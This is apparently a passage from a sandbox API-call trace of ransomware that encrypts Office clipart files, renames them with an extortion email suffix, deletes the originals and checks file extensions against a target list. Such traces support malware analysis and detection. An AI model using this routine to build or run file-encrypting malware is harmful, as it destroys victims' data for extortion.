	[0178.486] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2590, lpOverlapped=0x0) returned 1
	[0178.488] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.488] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.488] SetEndOfFile (hFile=0x520) returned 1
	[0178.488] CloseHandle (hObject=0x520) returned 1
	[0178.489] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.489] SetEndOfFile (hFile=0x544) returned 1
	[0178.496] CloseHandle (hObject=0x544) returned 1
	[0178.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1
	[0178.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.498] lstrlenW (lpString=".doc") returned 4
	[0178.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.498] lstrlenW (lpString=".docx") returned 5
	[0178.498] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.498] lstrlenW (lpString=".pdf") returned 4
	[0178.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.499] lstrlenW (lpString=".xls") returned 4
	[0178.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.499] lstrlenW (lpString=".xlsx") returned 5
	[0178.499] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.499] lstrlenW (lpString=".ppt") returned 4
	[0178.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.499] lstrlenW (lpString=".zip") returned 4
	[0178.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.499] lstrlenW (lpString=".rar") returned 4
	[0178.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.499] lstrlenW (lpString=".bz2") returned 4
	[0178.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.499] lstrlenW (lpString=".7z") returned 3
	[0178.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.499] lstrlenW (lpString=".dbf") returned 4
	[0178.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.499] lstrlenW (lpString=".1cd") returned 4
	[0178.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.499] lstrlenW (lpString=".jpg") returned 4
	[0178.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.500] lstrlenW (lpString=".doc") returned 4
	[0178.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.500] lstrlenW (lpString=".docx") returned 5
	[0178.500] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0178.500] lstrlenW (lpString=".pdf") returned 4
	[0178.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.500] lstrlenW (lpString=".xls") returned 4
	[0178.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.500] lstrlenW (lpString=".xlsx") returned 5
	[0178.500] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0178.500] lstrlenW (lpString=".ppt") returned 4
	[0178.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.500] lstrlenW (lpString=".zip") returned 4
	[0178.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.500] lstrlenW (lpString=".rar") returned 4
	[0178.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.500] lstrlenW (lpString=".bz2") returned 4
	[0178.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.501] lstrlenW (lpString=".7z") returned 3
	[0178.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.501] lstrlenW (lpString=".dbf") returned 4
	[0178.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.501] lstrlenW (lpString=".1cd") returned 4
	[0178.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68
	[0178.501] lstrlenW (lpString=".jpg") returned 4
	[0178.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.501] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.501] lstrlenW (lpString="J0107480.WMF") returned 12
	[0178.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.821] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6024) returned 1
	[0178.821] CloseHandle (hObject=0x544) returned 1
	[0178.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220
	[0178.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.822] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.822] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0178.824] GetLastError () returned 0x0
	[0178.824] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1788, lpOverlapped=0x0) returned 1
	[0178.853] WriteFile (in: hFile=0x54c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1790, lpOverlapped=0x0) returned 1
	[0178.854] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.854] WriteFile (in: hFile=0x54c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.855] SetEndOfFile (hFile=0x54c) returned 1
	[0178.862] CloseHandle (hObject=0x54c) returned 1
	[0178.863] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.863] SetEndOfFile (hFile=0x544) returned 1
	[0178.878] CloseHandle (hObject=0x544) returned 1
	[0178.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1
	[0179.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.204] lstrlenW (lpString=".doc") returned 4
	[0179.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString=".docx") returned 5
	[0179.205] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0179.205] lstrlenW (lpString=".pdf") returned 4
	[0179.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString=".xls") returned 4
	[0179.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.205] lstrlenW (lpString=".xlsx") returned 5
	[0179.205] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0179.205] lstrlenW (lpString=".ppt") returned 4
	[0179.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.205] lstrlenW (lpString=".zip") returned 4
	[0179.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.205] lstrlenW (lpString=".rar") returned 4
	[0179.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString=".bz2") returned 4
	[0179.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString=".7z") returned 3
	[0179.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.205] lstrlenW (lpString=".dbf") returned 4
	[0179.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.205] lstrlenW (lpString=".1cd") returned 4
	[0179.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.206] lstrlenW (lpString=".jpg") returned 4
	[0179.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.206] lstrlenW (lpString=".doc") returned 4
	[0179.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString=".docx") returned 5
	[0179.206] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0179.206] lstrlenW (lpString=".pdf") returned 4
	[0179.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString=".xls") returned 4
	[0179.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.206] lstrlenW (lpString=".xlsx") returned 5
	[0179.206] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0179.206] lstrlenW (lpString=".ppt") returned 4
	[0179.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.206] lstrlenW (lpString=".zip") returned 4
	[0179.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.206] lstrlenW (lpString=".rar") returned 4
	[0179.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString=".bz2") returned 4
	[0179.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString=".7z") returned 3
	[0179.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.206] lstrlenW (lpString=".dbf") returned 4
	[0179.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.206] lstrlenW (lpString=".1cd") returned 4
	[0179.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0179.207] lstrlenW (lpString=".jpg") returned 4
	[0179.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.207] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.207] lstrlenW (lpString="J0107516.WMF") returned 12
	[0179.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.210] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=14008) returned 1
	[0179.210] CloseHandle (hObject=0x554) returned 1
	[0179.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220
	[0179.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0179.211] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.211] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438
	[0179.212] GetLastError () returned 0x0
	[0179.212] ReadFile (in: hFile=0x554, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x36b8, lpOverlapped=0x0) returned 1
	[0179.215] WriteFile (in: hFile=0x438, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x36c0, lpOverlapped=0x0) returned 1
	[0179.217] ReadFile (in: hFile=0x554, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.217] WriteFile (in: hFile=0x438, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.217] SetEndOfFile (hFile=0x438) returned 1
	[0179.217] CloseHandle (hObject=0x438) returned 1
	[0179.217] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.217] SetEndOfFile (hFile=0x554) returned 1
	[0179.221] CloseHandle (hObject=0x554) returned 1
	[0179.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1
	[0179.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.223] lstrlenW (lpString=".doc") returned 4
	[0179.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.223] lstrlenW (lpString=".docx") returned 5
	[0179.223] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.223] lstrlenW (lpString=".pdf") returned 4
	[0179.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.223] lstrlenW (lpString=".xls") returned 4
	[0179.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.223] lstrlenW (lpString=".xlsx") returned 5
	[0179.223] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.223] lstrlenW (lpString=".ppt") returned 4
	[0179.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.223] lstrlenW (lpString=".zip") returned 4
	[0179.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.223] lstrlenW (lpString=".rar") returned 4
	[0179.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.223] lstrlenW (lpString=".bz2") returned 4
	[0179.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.223] lstrlenW (lpString=".7z") returned 3
	[0179.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.224] lstrlenW (lpString=".dbf") returned 4
	[0179.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.224] lstrlenW (lpString=".1cd") returned 4
	[0179.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.224] lstrlenW (lpString=".jpg") returned 4
	[0179.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.224] lstrlenW (lpString=".doc") returned 4
	[0179.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.224] lstrlenW (lpString=".docx") returned 5
	[0179.224] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.224] lstrlenW (lpString=".pdf") returned 4
	[0179.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.224] lstrlenW (lpString=".xls") returned 4
	[0179.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.224] lstrlenW (lpString=".xlsx") returned 5
	[0179.224] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.224] lstrlenW (lpString=".ppt") returned 4
	[0179.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.224] lstrlenW (lpString=".zip") returned 4
	[0179.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.225] lstrlenW (lpString=".rar") returned 4
	[0179.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.225] lstrlenW (lpString=".bz2") returned 4
	[0179.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.225] lstrlenW (lpString=".7z") returned 3
	[0179.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.225] lstrlenW (lpString=".dbf") returned 4
	[0179.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.225] lstrlenW (lpString=".1cd") returned 4
	[0179.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0179.225] lstrlenW (lpString=".jpg") returned 4
	[0179.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.225] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.225] lstrlenW (lpString="J0107526.WMF") returned 12
	[0179.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0179.409] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7948) returned 1
	[0179.410] CloseHandle (hObject=0x54c) returned 1
	[0179.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220
	[0179.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0179.862] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.862] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0179.863] GetLastError () returned 0x0
	[0179.863] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1f0c, lpOverlapped=0x0) returned 1
